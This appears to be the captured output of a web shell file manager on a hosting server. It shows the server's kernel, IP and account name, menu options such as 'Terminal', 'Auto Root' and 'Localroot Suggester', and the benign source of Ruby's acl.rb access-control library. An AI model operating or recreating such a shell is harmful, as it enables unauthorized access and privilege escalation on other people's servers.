Linux premium71.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
LiteSpeed
Server IP : 198.187.29.8 & Your IP : 3.145.15.7
Domains :
Cant Read [ /etc/named.conf ]
User : cleahvkv
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby18 /
lib64 /
ruby /
1.8 /
drb /
Delete
Unzip
Name
Size
Permission
Date
Action
acl.rb
2.58
KB
-rw-r--r--
2007-02-12 23:01
drb.rb
52.2
KB
-rw-r--r--
2009-07-03 00:40
eq.rb
253
B
-rw-r--r--
2007-02-12 23:01
extserv.rb
1.06
KB
-rw-r--r--
2007-02-12 23:01
extservm.rb
1.6
KB
-rw-r--r--
2007-11-13 13:04
gw.rb
1.88
KB
-rw-r--r--
2007-02-12 23:01
invokemethod.rb
775
B
-rw-r--r--
2007-02-12 23:01
observer.rb
369
B
-rw-r--r--
2007-02-12 23:01
ssl.rb
4.9
KB
-rw-r--r--
2007-02-12 23:01
timeridconv.rb
1.47
KB
-rw-r--r--
2007-02-12 23:01
unix.rb
2.43
KB
-rw-r--r--
2012-06-06 05:20
Save
Rename
# acl-2.0 - simple Access Control List # # Copyright (c) 2000,2002,2003 Masatoshi SEKI # # acl.rb is copyrighted free software by Masatoshi SEKI. # You can redistribute it and/or modify it under the same terms as Ruby. require 'ipaddr' class ACL VERSION=["2.0.0"] class ACLEntry def initialize(str) if str == '*' or str == 'all' @pat = [:all] elsif str.include?('*') @pat = [:name, dot_pat(str)] else begin @pat = [:ip, IPAddr.new(str)] rescue ArgumentError @pat = [:name, dot_pat(str)] end end end private def dot_pat_str(str) list = str.split('.').collect { |s| (s == '*') ? '.+' : s } list.join("\\.") end private def dot_pat(str) exp = "^" + dot_pat_str(str) + "$" Regexp.new(exp) end public def match(addr) case @pat[0] when :all true when :ip begin ipaddr = IPAddr.new(addr[3]) ipaddr = ipaddr.ipv4_mapped if @pat[1].ipv6? && ipaddr.ipv4? rescue ArgumentError return false end (@pat[1].include?(ipaddr)) ? true : false when :name (@pat[1] =~ addr[2]) ? true : false else false end end end class ACLList def initialize @list = [] end public def match(addr) @list.each do |e| return true if e.match(addr) end false end public def add(str) @list.push(ACLEntry.new(str)) end end DENY_ALLOW = 0 ALLOW_DENY = 1 def initialize(list=nil, order = DENY_ALLOW) @order = order @deny = ACLList.new @allow = ACLList.new install_list(list) if list end public def allow_socket?(soc) allow_addr?(soc.peeraddr) end public def allow_addr?(addr) case @order when DENY_ALLOW return true if @allow.match(addr) return false if @deny.match(addr) return true when ALLOW_DENY return false if @deny.match(addr) return true if @allow.match(addr) return false else false end end public def install_list(list) i = 0 while i < list.size permission, domain = list.slice(i,2) case permission.downcase when 'allow' @allow.add(domain) when 'deny' @deny.add(domain) else raise "Invalid ACL entry #{list.to_s}" end i += 2 end end end if __FILE__ == $0 # example list = %w(deny all allow 192.168.1.1 allow ::ffff:192.168.1.2 allow 192.168.1.3 ) addr = ["AF_INET", 10, "lc630", "192.168.1.3"] acl = ACL.new p acl.allow_addr?(addr) acl = ACL.new(list, ACL::DENY_ALLOW) p acl.allow_addr?(addr) end